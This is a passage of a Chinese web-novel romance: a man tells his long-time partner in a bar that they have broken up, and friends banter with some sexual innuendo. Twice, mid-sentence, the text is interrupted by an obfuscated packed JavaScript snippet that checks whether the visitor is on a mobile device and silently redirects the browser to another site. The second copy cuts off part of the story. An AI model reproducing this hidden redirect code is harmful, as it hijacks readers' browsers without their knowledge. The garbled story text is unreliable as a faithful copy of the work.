“一个美女,穿着闪死人的比基尼,在台子上跳舞,那腰,那腿,那胸……”周冉用手比划着,眼里放着光,随即又黯淡下去,撇了撇嘴,“跳着跳着,她……呃,他,就开始脱衣服,那身材,啧,我当时觉得这票价值了!然后……”她突然停下脚步,转过身,面向南景,脸上表情瞬间凝固,变得一片空白,眼神空洞,仿佛想起了什么极其震撼又幻灭的事情。 “然后怎么了?”南景追问。 周冉缓缓地、极其沉重地吐出一句话,每个字都透着生无可恋:“然后……他把那条小小的、闪亮的小裤裤,往下那么一拉……” 她停顿,吸了口气,闭了闭眼,才用梦游般的声音补充完:“……好、大、一、条。” 死寂。 两秒钟后。 “噗~~哈哈哈哈哈哈!”南景再也忍不住,爆发出了一路走来最畅快的大笑。他弯下腰,手撑在膝盖上,笑得眼泪都快出来了。山间的鸟似乎都被这笑声惊到,扑棱棱飞起几只。“该!让你净看些有的没的!这下长记性了吧?” 周冉还维持着那个石化的表情,山风吹动她额前的碎发,她幽幽地叹了口气:“我以为……只有泰国有这种‘特产’呢。大意了,没有闪。” 南景笑够了,直起身,抬手揉了揉周冉被风吹得有些毛躁的头顶,动作温柔,眼底还残留着未散的笑意。“走吧,傻丫头。下一个地方,想去哪儿?” 周冉被他这一揉,也从那尴尬回忆里回过神来,眼睛立刻重新亮起,掰着手指数:“看雪山?连绵不绝、终年不化、闪着圣光的那种!” “可以。” “看‘水性杨花’?就是那种浮在水面上,白白小小的花,听说只有特别干净的水里才有!” “可以。” “冲呀!!”周冉瞬间满血复活,刚才那点郁闷和尴尬被她抛到九霄云外,像只重新充满电的小马达,雀跃地朝着山下停车场的方向小跑起来。 林荫道上的光斑跳跃着掠过他们身上,山风送来远处溪流和松针的清新气息。南景脸上的笑意深深浅浅,久久未散。前路或许仍有涩意,但此刻,有奇奇怪怪的朋友,有可可爱爱的计划,有看不完的风景,好像……真的,也不错。 6. 分、手、还、需、要、你、答、应? 那边,南景带着周冉的旅途依旧在继续,朋友圈的定位从雪山湖泊切换到古镇小巷,照片里是热腾腾的街头小吃、波光粼粼的湖面倒影,还有两人各种搞怪或安静的合影。 这边,城市的节奏依旧按部就班。邵既明的办公室宽敞明亮,巨大的落地窗外是林立的水泥森林。 秦朗毫无坐相地瘫在邵既明办公桌对面的沙发里,两条长腿随意岔开,脚尖有一下没一下地点着地毯。他手里捏着手机,屏幕亮着,正是周冉最新发布的一张在篝火旁咧嘴大笑的照片。他拇指摩挲着屏幕,像是要透过像素摸到那张生动的脸,眉头却微微蹙着。 “哎……这没良心的小丫头片子,真就一条消息都不回啊。这都……快一个月了吧?玩野了,心都收不回来了?”他抬眼瞟向办公桌后正低头看文件的邵既明,“你那边有信儿没?他们该回来了吧?” 邵既明头也没抬,笔尖在文件上利落地签下名字:“你还不走?赖我这儿一下午了。” “走?去哪儿?”秦朗换了个更歪斜的姿势,手肘撑着沙发扶手,掌心托着下巴,一副“此间乐,不思蜀”的赖皮样。 “你不是该滚回国外,打理你那一摊子事儿去了?”邵既明合上文件夹,终于抬眼看他,眼神里透着“你怎么还在这儿”的嫌弃。 “国外公司哪有追媳妇重要?”秦朗理直气壮,甚至坐直了些,表情严肃得像在宣布重大战略,“你哥哥我年纪不小了,是时候解决一下个人终身大事,为和谐社会稳定做贡献了。工作嘛,哪有老婆孩子热炕头实在?” 邵既明看着他一本正经胡扯的样子,脸上没什么表情,但眉梢微微动,最终只吐出一句:“无聊。” “嘁,活该你老婆不要你。”秦朗立刻反击,拿起茶几上的一个减压魔方在手里抛接着,“就你这副性冷淡的德行,半天憋不出个响屁,跟块漂亮的背景板似的,也就南景脾气好能忍你这么多年。情趣?浪漫?你那词典里怕是没这两个词儿。” 他顿了顿,观察着邵既明的神色,话锋看似随意地一转:“对了,你跟南景……现在到底怎么样了?那天之后,联系过没?”他刚才顺手给周冉那条朋友圈点了个赞,虽然知道大概率石沉大海。 邵既明身体向后,靠进宽大的老板椅里,手指无意识地转动着昂贵的钢笔。窗外天光落在他轮廓分明的脸上,一半明亮,一半隐在阴影中。他沉默了几秒,才开口:“我跟他?没什么,挺好的。” “挺好的?”秦朗抛接魔方的动作一顿,差点没接住,他诧异地挑眉,“意思是……和好了?你小子可以啊,闷声不响就把人哄回来了?”他内心有点惊讶,以他对周冉那火爆脾气的了解,居然这么容易就翻篇了? 邵既明转动钢笔的手指停了下来,他似乎有些不解秦朗为何如此惊讶,用一种陈述事实的语气说:“和好?我们又没有分手。他只是……闹了点小脾气。” 秦朗脸上的调侃渐渐凝固,他放下魔方,坐正了身体,看着邵既明,眼神变得有些古怪,像在看一个突然听不懂人话的外星生物。“小脾气?人家清清楚楚跟你说了‘分手吧’,邵总,这在你字典里,归类到小脾气?” 邵既明与他对视,眼神里掠过几乎无法捕捉的烦躁。他避开“分手”这个字眼,语气里甚至带上了近乎宽容的意味:“他又没有真的怎么样。分手,我也……没有答应。” “……” 办公室陷入了长达十几秒的诡异寂静。 秦朗张了张嘴,又闭上,再张开,脸上的表情从古怪逐渐变为一种“我他妈到底听到了什么”的震撼。他抬起手,用力抹了把脸,仿佛想确认自己是不是在梦游。 然后,他慢慢站起身,走到邵既明巨大的办公桌前,双手撑在光可鉴人的桌面上,身体微微前倾,盯着邵既明那双依旧没什么波澜的眼睛,一字一句,用极其缓慢、清晰,仿佛在教三岁小孩认字的语调问道: “分、手、还、需、要、你、答、应?” “邵既明,我的好表弟,”秦朗直起身,抱起手臂,脸上那点玩世不恭彻底褪去,取而代之的是一种近乎怜悯的犀利,“感情是两个人的事,但结束这件事,有时候,一个人说了就能算。当对方通知你游戏结束的时候,你单方面宣布‘我没同意,游戏继续’,除了让你自己看起来像个……听不懂规则还赖在场上不走的滑稽角色之外,没有任何用处。” 他指了指邵既明手边沉寂的手机:“你觉得他没拉黑你,偶尔还回你短信问东西放哪儿,就是过去了,就是还会回来?” 秦朗摇了摇头,嗤笑一声,那笑声里没什么温度:“他那不是给你留余地,兄弟。那叫善后,叫礼貌性收尾,叫不想撕破脸最后一点体面。等你真的需要他回来的那天,你可能会发现……” 他顿了顿,目光扫过邵既明身后那片象征着财富与秩序的繁华城景,又落回表弟那张英俊却明显缺乏某种情感认知的脸上,语气带着某种预言般的笃定:“那扇门,已经从外面锁上了。钥匙,人家早就扔了。” 说完,他不再看邵既明骤然晦暗下去的脸色,抄起沙发上的外套,随意搭在肩上,吹了声口哨,只是那调子偏到西伯利亚去了。 “得,您老继续沉浸式体验您的单方面未曾分手吧。兄弟我啊,”他拉开门,回头冲邵既明扯了个皮笑肉不笑的弧度,“还是去琢磨点实际的,比如怎么才能不被我们家小祖宗永久拉黑。这难度,可比理解你的感情观低多了。” 门被轻轻带上。 办公室里重新陷入寂静。邵既明依旧维持着靠在椅背上的姿势,一动不动。窗外的天光不知何时被一片流云遮住,在他脸上投下更深的阴影。他面前的文件整齐码放,钢笔安静地躺在旁边,一切都井然有序,符合他一贯的作风。 秦朗最后那句话,似乎并未激起多少可见的水花。 又过了一周,深秋的凉意更浓了些,早晚的风已带上了明显的瑟索。南景和周冉结束了长达月余的漫游,悄无声息地回到了这座城市。秦朗是从周冉那永远热闹的朋友圈里捕捉到痕迹的——背景是熟悉的城市地标,配文带着归家的懒散。邵既明对此则全然不知,他的信息渠道依旧静默。 周六夜晚,城市霓虹初上。一家氛围轻松的清吧里,音乐是节奏轻快的独立摇滚,音量既衬出热闹,又不妨碍交谈。南景和周冉与几个大学旧友窝在角落一张宽大的皮质卡座里,桌上散落着几杯喝了一半的鸡尾酒和果盘。 周冉正举着手机,和旁边一个看起来格外显小的男孩子头挨着头自拍。那男孩生得实在乖巧,睫毛又长又密,在眼睑下投出小扇子似的阴影,大眼睛圆溜溜的,下巴尖尖,笑起来嘴角有颗若隐若现的小虎牙,整个人透着一种毛茸茸不设防的可爱,像只误入人类酒吧的懵懂小松鼠。 “咔嚓”几声,周冉满意地检查照片,手指飞快编辑,发了条朋友圈:「捕获野生新弟弟一只,超级可爱,想rua!」照片里,男孩眯眼笑着,模样纯良无害。 “司南,你毕业都两年了吧,怎么还跟个大一新生似的?”周冉放下手机,戳了戳男孩软乎乎的脸颊。 司南不好意思地揉了揉脸,耳朵尖有点泛红,声音也细细的:“冉姐,你别笑话我了。”他目光飘向对面正含笑听他们说话的南景,忽然叹了口气,托着腮,表情变得惆怅起来,像在回忆什么遥远往事:“冉姐,你是不知道,我大学那会儿,可喜欢南景了……” “哦?”周冉立刻来了精神,身体前倾,眼里闪烁着八卦的光芒。 “真的,”司南用力点头,长睫毛扑闪扑闪,“我当时就觉得,这是天赐的缘分!你听这名字,他叫南景,我叫司南!这不就是天生一对,注定要指向彼此吗?” “噗”周冉一口酒差点喷出来,连忙捂住嘴,肩膀抖动,笑得眼泛泪花,“指南针吗?……指向南景?哈哈哈,司南同学,你这逻辑,我服!” 南景也忍俊不禁,摇了摇头,拿起酒杯抿了一口,没说话。 司南却更愁了,整张脸垮下来,声音压得更低,带着无尽的遗憾和委屈:“结果呢!我好不容易鼓起勇气暗示、明示……最后发现,我俩撞号了!都是0!你知道我当时心里有多崩溃吗?我感觉我的青春,我的爱情,还没开始就夭折了!我真的哭死!” “撞号?哈哈哈~~~”周冉这下彻底憋不住了,拍着沙发扶手大笑起来,引得旁边几桌都侧目,“两个0?我的天,这真是……两个人凑一块儿,都凑不出个0.5来!绝了!” “愁啊……”司南哀叹一声。 周冉笑够了,用手肘顶了顶旁边南景的胳膊:“啧啧,可惜了南小景,看你这一表人才、肩宽腿长的样子,明明很能当1的嘛!资源浪费啊!” “就是就是!”司南立刻从沙发里弹起来,用力点头附和,小脸因为激动和酒意更红了,“南景这么帅,气质又好,不说话的时候明明就很有气势,怎么看都是1的样子!都怪这该死的撞号!” 南景被这两人一唱一和弄得哭笑不得,抬手虚指了指司南:“司南同学,这话要是被你家里那位听到,你今晚回去怕是要完蛋。” “家里那位?”周冉敏锐地捕捉到关键词,“有情况?快,瓜来!” 司南一听,刚刚那点激动瞬间蔫了,撇撇嘴,表情从遗憾秒切换为气愤,甚至带点悲壮:“别提了!分手!我这次一定要跟他分手!坚决分!谁劝都不好使!” 南景只是挑眉看着他,脸上写着“我信你才怪”。他和司南大学同窗四年,毕业后也没断联系,太了解这家伙了。虽然两人当年因为“撞号”的乌龙没成,但友情却保持了下来。司南后来交的男朋友,他见过,两人感情一直不错,就是司南时不时会来这么一出控诉。 “为什么呀?他对你不好?”周冉好奇地凑近,完全进入了吃瓜状态。 司南左右看了看,做贼似的,示意周冉再靠近些,然后用手拢在嘴边,用气声,又羞又愤地控诉:“他……他太能‘炒菜’了!” “啊?”周冉没听懂这黑话。 司南脸更红了,连脖子都漫上一层粉色,但还是坚强地音解释:“就是……晚上,从八九点开始,能折腾到凌晨三四点!没完没了!我说我不行了,受不了了,嗓子都哑了,他……他居然还搁那儿精神抖擞,提枪追着我‘喂饭’!你知道吗,有一次我实在不行了,想爬去客厅沙发睡,结果刚爬出卧室门,就被他抓着脚踝,硬生生拖回去了!又是一顿……狂风暴雨!” 他说得绘声绘色,虽然用词隐晦,但配合他那羞愤欲死、眼含水光的表情,效果拔群。 “噗~~哈哈哈!咳咳……”周冉这次真的被酒呛到了,一边咳一边笑得浑身发抖,眼泪狂飙,拼命捶打沙发,“抓、抓着脚踝拖回去?……喂饭?哈哈哈!司南,你男朋友是吃什么长大的?永动机吗?哈哈哈哈!” “你小点声!小点声!”司南急得想去捂周冉的嘴,自己羞得恨不得钻进地缝,耳朵红得快要滴血,“这又不是什么光彩的事!我还不是为了我的小命着想!必须分!这谁受得了啊!” 周冉好不容易止住笑,擦着眼角,压低声音,但肩膀还在抖:“理解,理解,生命诚可贵……不过,你男朋友这体力,是真厉害。我看那些韩漫里,差不多也就这配置了……” “你还看韩漫?”南景在一旁幽幽插话,表情复杂。 “嗷~~”周冉立刻坐直,一本正经,“都是热血动漫嘛!积极向上!就是……咳,那该死的马赛克,烦死了,影响观看体验!” 南景无奈地摇头,拿起一颗爆米花扔进嘴里:“人家看的热漫是热血积极向上,你看的那些,是热血、基基、向上。能一样吗?” “哈哈哈!”周冉毫不在意地摆手,笑得见牙不见眼,“都一样,都一样,核心都很热血嘛!追求剧情的激烈和人物的成长!” “喂!你们三个,别躲在那儿开小会了!”另一个朋友罗鸣在桌对面挥舞着骰盅喊道,“玩游戏了!该罚酒了!南景,周冉,还有司南,赶紧的!” “来了来了!”周冉立刻响应,一把拉起还在羞涩与悲愤中切换的司南,“走走走,玩游戏去!输了让你男朋友来接你!” “不要啊!”司南的哀嚎混入酒吧逐渐升温的喧闹和音乐声中。 与此同时,同一街区另一家更为私密的高级酒吧包厢内。 秦朗正百无聊赖地晃着杯中的威士忌,他随手刷新了下朋友圈,周冉那条带着“小松鼠”弟弟的动态跳了出来。他目光定格在照片上周冉灿烂的笑容和定位上,眼神倏地一亮,身体瞬间坐直。 “哟呵!”他低笑一声,立刻抓起搭在旁边椅背上的西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046457|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装外套,利落地站起身。 “朗哥,这刚来没多久,去哪儿啊?”旁边一个朋友问道。 “小祖宗回来了,就在附近。”秦朗一边快速整理袖口,脸上露出一个痞笑,“我得去逮人了。你们玩,账记我这儿。”他转头看向坐在阴影里、姿态有些疏离的邵既明,“既明,你走不走?南景估计也在。” 邵既明握着酒杯的手指微微一紧,抬起眼,眼底掠过一丝诧异:“南景?你怎么知道?” “哼,”秦朗扬起手机屏幕在他眼前快速一晃,得意地挑眉,“我当然有我的情报系统。你就说去不去吧?” 邵既明看着秦朗那笃定的样子,又想到南景确实没告诉他归期。他沉默了两秒,放下酒杯,他也站起身。 “嗯,走吧。” 两人前一后走出包厢。 邵既明和秦朗一踏入酒吧,嘈杂的音乐和昏暗变幻的灯光便包裹上来。目光略一扫视,几乎没费什么力气,就锁定了角落卡座里那团最活跃的光源——周冉标志性的笑容,以及她旁边南景安静的侧影。 秦朗脸上瞬间扬起笑容,步伐也快了几分,几乎是带着风刮到了卡座边。“嗨,冉冉!这么巧?看来咱们的缘分是磁场互吸啊!”他话音未落,身体已经极其自然地挤进了周冉旁边的空位,手臂顺势搭在她身后的沙发背上,形成一个半包围的亲近姿态,“既然天意让咱们在这儿碰上,不如拼个桌,人多更热闹?” 卡座里其他人都看了过来。罗鸣认出邵既明,立刻热情地招呼:“哎,邵既明!稀客啊!来来来,坐坐坐,都是朋友,别客气!”南景的大学同学基本都知道邵既明,也默认他和南景还在一起,此刻只当是寻常碰面,气氛依旧热闹。 周冉脸上那灿烂的笑容,在看清秦朗身后那个高挺身影的瞬间,像被按了暂停键,然后一丝一丝地褪去,最后只余下嘴角一点僵硬的弧度。她的眼睛微微眯起,目光越过秦朗,像刀子,刮过邵既明没什么表情的脸。与此同时,她放在桌下的手,悄无声息地、极其缓慢地,朝着不远处那个沉甸甸的玻璃烟灰缸挪动了几厘米,指尖悬停,仿佛在丈量距离和出手角度。 南景在邵既明出现的那一刻,身体微不可察地绷紧了一瞬。他确实没料到会在这里,以这种方式,猝不及防地重逢。他握着酒杯的手指收紧,但脸上竭力维持着平静,只是眼神沉了下去。 “就是,那感情好,人多热闹!”秦朗仿佛没察觉到骤然微妙起来的气氛,笑嘻嘻地应和着罗鸣,目光却飞快地扫过周冉的手,以及那个烟灰缸。他状似随意地拿起桌上的打火机把玩,手腕一转,手肘“不小心”轻轻碰了一下烟灰缸的边缘,将它推得离周冉的指尖更远了些,动作自然得像是无心之举。 邵既明站在卡座边,灯光在他深邃的眉眼间投下阴影。他点了点头,算是回应了罗鸣的招呼,目光却越过众人,直接落在南景身上:“嗯,我来接南景。” 南景抬起眼,迎上邵既明的视线,那目光里没有愤怒,没有激动,只有一种彻底的平静,以及平静之下清晰的疏离。“接我?邵既明,我们分手了。” “分手”两个字一出。罗鸣等人脸上的笑容凝固了,面面相觑,司南更是惊讶地捂住了嘴,大眼睛眨巴着。 邵既明的眉头紧皱了起来,似乎对南景在这样的场合、用如此肯定的语气说出这两个字感到意外,甚至有一丝被打乱节奏的不悦。他看着南景,眼神里带着困惑,以及一种近乎固执的追问:“为什么?” 为什么?这两个字落在南景耳中,荒谬得让他几乎想笑。但他只是极轻地吸了口气,压下心头翻涌的情绪,放下手里的酒杯。他站起身,然后看向邵既明:“这里不方便。我们出去说。” 说完,他没再看任何人,包括身边瞬间进入一级戒备状态的周冉,径直转身,朝着酒吧门口走去。 邵既明站在原地,看着南景毫不迟疑离开的背影,下颌线微微绷紧。他沉默了两秒,对卡座里神色各异的众人略一点头,便也迈开步子,跟了出去。 两人前一后消失在通往门口的昏暗光晕中。 卡座里陷入一阵诡异的安静。 “咳,”秦朗率先打破沉默,拿起酒瓶给周冉面前的空杯斟满,脸上又挂起那副玩世不恭的笑,“没事没事,小情侣闹别扭,常有的事。咱们玩咱们的,年轻人的事儿让他们自己解决去,咱们这些‘老一辈’就别掺和了,啊?” 罗鸣等人也反应过来,赶紧打着哈哈重新摇起骰盅,试图炒热气氛,只是眼神时不时飘向门口。 “哇……”司南蹭到周冉身边,压低声音,眼睛瞪得溜圆,“南景真的要跟邵既明分手啊?他们在一起好多年了吧……所以,”他忽然找到理论依据般,握了握小拳头,“分手也不是什么大不了的事!我也要分!” 周冉的心思根本不在这里,她随意地揉了揉司南毛茸茸的头发:“乖,玩你的游戏去。”她的目光一直紧紧追随着窗外,透过酒吧的玻璃墙,能看到南景和邵既明一前一后走到街边的露天座位区,相对坐下。 “哦……”司南听话地缩回去,和罗鸣他们猜拳去了,只是耳朵还竖着。 秦朗脱下了西装外套,随意搭在沙发扶手上,解开了衬衫最上面的两颗纽扣,侧过身,完全面向周冉,试图吸引她的注意力:“冉冉,这趟出去玩得开心吧?看朋友圈,天南地北的,真让人羡慕。” 周冉终于把视线从窗外收回来,斜睨了他一眼,那眼神冷飕飕的,眼里只有嫌弃:“本来挺开心的。现在嘛,”她撇撇嘴,语气硬邦邦的,“气氛都被某些不请自来的家伙破坏了。希望某些人以后耗子尾汁,自觉点,别老出来煞风景。” “哎哟,你这么说,我可太难过了,冉冉。”秦朗立刻捂住心口,眉头皱起,做出一副西子捧心、痛不欲生的夸张表情,身体还配合着晃了晃,声音都带上了颤音,“啊……这里,好痛。需要你揉揉才能好……” 周冉看着他那副浮夸的表演,嘴角抽搐了一下,然后,毫不客气地、结结实实一拳捶在他刚刚捂着的胸口位置,力道不轻。 “咳!”秦朗被打得真咳了一声,龇牙咧嘴,但眼里却带着笑。 “快死。”周冉收回拳头,重新抱起手臂,目光又忍不住飘向窗外那两抹沉默对峙的身影,眼底的担忧和冷意交织。 7. 预备!!! 酒吧外的露天区域,用低矮的绿植和串灯与喧嚣的街道隔开,形成一小片相对安静的天地。深秋的夜风带着寒意,卷过空荡荡的几张桌椅。南景选了最靠边的一张坐下,背对着酒吧流光溢彩的窗户,面朝街道上流淌的车灯。邵既明在他对面落座,两人之间隔着一张冰冷的金属小圆桌。 “我给你发的消息,你看到了。我们分手了。” 不是疑问,是陈述。 邵既明看着他,眉头习惯性地微微蹙起,那是一种面对计划外状况时下意识的反应。他沉默了几秒,似乎在消化这个开场白,然后才开口,声音是一贯的平稳,甚至带着点就事论事的探讨意味:“我们之间,有什么问题大到……需要走到分手这一步吗?” 他问得很认真,是真的在疑惑。在他的认知里,他们没有激烈的争吵,没有原则性的背叛,甚至没有什么不可调和的矛盾。南景一直是包容的、体贴的,他们的生活平静有序。这突如其来的“分手”,像一道他完全无法理解的谜题。 南景终于抬起眼,看向他。那目光很静,静得让邵既明心头莫名掠过极细微的不适。南景没有立刻回答,只是看着他,仿佛在重新审视一个认识了很久、却从未真正看清的人。 “问题?”南景极轻地重复这个词,嘴角扯出一个没有温度的弧度,“邵既明,你觉得,我们之间,没有问题,是吗?” “至少,”邵既明身体向后,靠在冰凉的金属椅背上,“我不认为有任何无法解决的问题。如果你对我最近忙于工作、或者生日那天没能陪你感到不满,你可以直接告诉我。我们可以沟通。” 南景看着他交握的手,那双手修长有力,曾经也牵过他,拥抱过他,但此刻只觉得陌生。他想起过去近六年的无数个细节,那些被他有意无意忽略、或者用“他性格如此”来说服自己的瞬间。主动发起的每一次约会,精心准备的纪念日礼物,生病时独自吞下的药片,分享趣事时得到的简短“嗯”或没有回复,渴望陪伴时对方“正好有事”的行程……他的热情,他的期待,他小心翼翼捧出的心意,像投入一口深不见底的古井,连回声都吝啬给予。不是剧烈的痛苦,而是日复一日细微的磨损,将那份最初的炽热,一点点冷却,风干,最后只剩下空洞。 “沟通?邵既明,我们之间,有过真正的沟通吗?是我在说,你在听,或者,连听都没有。然后,就没有然后了。” 他顿了顿,目光投向街上飞驰而过的车灯,那些流光在他眼底划过,没有留下痕迹。“我不是对你最近忙不满,也不是仅仅因为一个生日。我是对过去近六年里,每一次我的主动,每一次你的被动,每一次我需要你时你的缺席,每一次我试图靠近时你那堵无形的墙……感到疲惫了。” 邵既明的眉头蹙得更紧了些,南景的话像一团柔软的棉花,让他无处着力,无法像处理工作问题那样精准反驳。他试图理解:“如果你觉得我陪伴不够,或者回应不够积极,你可以提出来。我可以调整。” “调整?”南景终于笑了,那笑容里充满了荒诞的悲哀,“邵既明,感情不是项目,不是你说调整一下投入的时间和精力配比,就能回到正轨的。我也不是你的下属,需要不断提出需求,等待你的批复和调整。” “这六年,我提得还不够多吗?我表达过我的喜欢,我规划过我们的未来,我努力融入你的生活,哪怕你从未真正让我走进你的圈子。我学着做你爱吃的菜,记住你所有的习惯,把你的一切喜好当成我的功课……我提了那么多,做了那么多,你呢?” 南景的目光重新落回邵既明脸上,那眼神清澈见底,没有怨恨,只是有些倦怠:“你只是接受了。接受我的好,接受我的付出,接受我的存在,像接受一份长期的、稳定的、并且省心的订阅服务。然后你觉得,这样没有问题。” “不是这样。”邵既明下意识地反驳,但这句话脱口而出后,他自己也有一瞬间的茫然。不是这样?那是怎样?他搜肠刮肚,想找出证据来反驳南景的话,却发现脑海里浮起的画面,似乎……确实如南景所说。是他默许了南景的靠近,是他习惯了南景的安排,是他将南景的存在视为生活里一个稳定的背景音。他享受那份妥帖和安宁,却从未深究过这妥帖与安宁背后,南景投入了多少情感和期待。 “那是怎样?”南景静静地问,给他时间思考。 邵既明张了张嘴,夜风灌入喉咙,带来一丝干涩。他难得地感到词穷。“我……我没有觉得你是服务。”他最终干巴巴地说,避开了核心,“我们在一起,很平静,这不是很好吗?很多人追求的不就是这种安稳?” “是啊,安稳。”南景点了点头,“一份不需要你付出多少情感,不需要你费心经营,只需要你习惯就能维持的安稳。邵既明,我要的不是这个。” 他深吸了一口冰凉的空气,仿佛要将胸腔里最后那点残存的温热也彻底呼出。“我要的是爱,是相互的吸引,是情不自禁的靠近,是分享喜悦时分担痛苦的自觉,是即使沉默也感到充盈的默契,是把你规划进我未来的笃定,同时也是我被你坚定选择的感觉。” “这些,你给不了我。或者说,你从未想过要给我。你给我的,是习惯,是省心,是还可以。而我,不再需要这些了。” 邵既明听着,那些字眼像小锤子,一下下敲在他固有的认知外壳上。“爱”、“吸引”、“选择”、“笃定”……这些词汇对他而言,过于浓烈,过于抽象,远不如“习惯”和“合适”来得具体可控。他试图理解南景的诉求,却发现那似乎是他情感领域里一片未曾开垦的荒原。 “所以,”邵既明的声音沉了下去,因为南景全盘否定了他们过去六年的状态,“你觉得我这六年,没有爱过你?没有选择你?” “你选择了我吗?”南景反问,“当你家里提起我的时候,你是如何回应的?当你的朋友问起我,你是如何介绍的?当你规划你的人生时,里面真的有我的位置吗?还是说,我只是你现阶段一个还不错、挺习惯的伴侣,如果家里施加压力,或者遇到更合适的,你会毫不犹豫地结束这段省心的关系?” 邵既明哑然。南景的话剖开了某些他一直避而不谈的现实。他对家里的敷衍,对朋友介绍时的含糊,对自己未来那从未将南景清晰纳入的蓝图……这些,他无法否认。 “看,你回答不了。”南景笑了笑,“邵既明,我不怪你。也许你就是这样的人,情感需求很低,觉得一段平稳、互不打扰的关系就是最好的状态。你没有错。” 他顿了顿,语气变得更加坚定,也更加决绝:“但我也没错。我有我的情感需求,我的爱情观。我需要的是双向的奔赴,而不是单方面的坚持。我累了,也看清了。所以我们不合适,继续下去只是互相消耗,对你,对我,都不公平。” “所以,”邵既明听着他条分缕析剖析,心脏某处传来一阵陌生闷钝的痛感,不强烈,却无法忽视。他下意识地握紧了交握的手,“就因为我……没有按照你期待的方式去爱你,你就要彻底结束这六年的感情?南景,这会不会太……草率了?我们可以试着改……” “改不了。”南景打断了他,“邵既明,你不是小孩子,你的性格、你的情感模式,在认识我之前就已经定型了。我不是要改造你,我也改造不了你。而我也无法再继续委屈自己,去适应一段永远只有我在调整、在妥协的关系。分手,不是惩罚,也不是威胁。是认清现实后的及时止损。我们好聚好散吧。别墅里的东西,我都收拾好了,钥匙放在玄关的抽屉里。以后……各自安好。” 邵既明看着他说道:“但别忘了,是你主动想要走近我。你太渴望与我亲近,于是寻找各种借口来了解我,最终才成功留在我身旁,可以经常交谈、偶尔玩笑,甚至向我提出要求。然而,这一路跋山涉水的人只有你,我只是在原地未曾移动。你的所有憧憬和行动,都源于你自己的意愿与想象。我站在原处不动,就已经是答案。我没有责任为你的单向付出承担后果。至于你透过迷雾认定看到了真实的我,那只是你的解读。我从未改变,我只是如常地站在那里。” “邵既明,你说得对。” 他目光直视邵既明。脸上没有愤怒,只有一种深切的疲惫,和一种近乎怜悯的透彻。“我主动靠近,我找借口了解你,我努力站在你身边。这些,我从未否认,也从未后悔。因为那时,我以为我走向的,是一个同样有温度、有回应可能的人。” “但你说你‘站在原地冷眼旁观’?邵既明,你太高估自己的冷漠,也太低估了‘站在原地’这个动作本身所传递的信号。” “你所谓的‘站在原地’,是默许我靠近,是接受我的早餐放在你桌上,是允许我进入你的私人空间,是在那个混乱的夜晚之后,点头同意‘试试看’,是在之后的六年里,习惯我的存在,享受我打点好的一切生活细节,是在身体接触时给予回应,是在某些时刻,或许你自己都忘了,也会下意识地寻找我的身影。” “这不是站在原地。这是敞开了一扇门,哪怕只开了一条缝,然后默许别人进来。你提供了空间,提供了可能性。如果你真的如你所说,是彻底的拒绝,那么早在第一步,或者第十步,我就该撞得头破血流,知难而退。可你没有。你用了六年时间,用你的默许、你的习惯、你偶尔流露的依赖,让我相信,那扇门后,或许也有风景。” “你说你没有义务为我的靠近负责。是的,从绝对理智和法律上讲,你没有。但感情不是法律,不是商业合同。感情是互动,是博弈,是心照不宣的默许和得寸进尺的试探。你享受了被人珍视、被人妥帖照顾的便利,享受了情感上的被需要和身体上的亲密,却想在事后用一句‘我还是原来的我’,把自己摘成一个无辜的、被迫的旁观者?” “这不叫清醒,邵既明。这叫自私,也叫懦弱。你既想享受关系带来的温暖和便利,又不想承担关系本身蕴含的责任和风险,更害怕承认自己其实……也需要那些温暖。” 他看到邵既明的下颌线绷紧了,那是被说中某种隐秘心思的反应。 南景继续说道:“至于‘透过模糊不清的表象看到了真正的我’……邵既明,这六年来,我看到的,就是真正的你。一个情感疏离,不擅长表达,习惯被动接受,害怕深度羁绊,却又贪恋一点陪伴温暖的你。我看到了,并且尝试去理解,去适应,甚至去为你找借口。我以为那是性格,是慢热,是需要时间和耐心去焐热的石头。” “直到我亲耳听到,你用‘习惯’和‘省心’来定义我们六年的感情,用‘没什么不好’来总结我的存在,用‘家里让断就断’来规划可能的未来——那一刻,我才真正看清,真正的你或许并不冰冷,但你对待感情的方式,对待我的方式,是彻头彻尾的不在意。不在意我的感受,不在意我的付出,不在意这段关系是否健康,是否平等,是否有未来。” “这不是像往常一样站在那里。这是精神上的缺席,是情感上的漠视。你站在那里,不是一堵沉默的墙,而是一个黑洞,无声无息地吸走了我所有的热情、期待和爱意,然后告诉我,那是你自己的事,与它无关。” 南景轻轻摇了摇头,那动作里有无尽的悲哀。 “所以,邵既明,我们之间的问题,从来不是我走了100步而你没动。问题是,我走了100步,以为我们在共同走向某个地方,而你,站在原地,甚至不曾看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不应该是这样的。南景怎么会……真的离开? 在过去长达一个多月的“失联”里,他虽然隐约感到不同,但心底那份根深蒂固的笃定始终在支撑着他——南景只是需要空间,只是闹脾气,就像以往任何一次小小的不愉快一样,最终都会回来。因为南景一直那么好,那么稳定,那么……不可或缺地存在于他的生活里。他习惯了每天早晨厨房飘来的咖啡香,习惯了衣柜里永远整洁熨帖的衬衫,习惯了深夜归家时客厅那盏为他留着的暖黄的灯,习惯了身边那个总是带着温和笑意、将他一切琐碎需求妥帖安排好的人。 他以为那是“习惯”,是“省心”,是生活一种平稳舒适的背景状态。可直到此刻,当这个背景被强行撕去,露出后面冰冷空洞的现实时,他才骇然发现,那所谓的“习惯”,早已织成了一张密不透风的网,将他生活的每一寸缝隙都温柔地填满。而“省心”的背后,是南景日复一日、年复一年,默默消化了所有本该由两人共同承担的情绪、摩擦和不确定性。 失去南景,意味着什么? 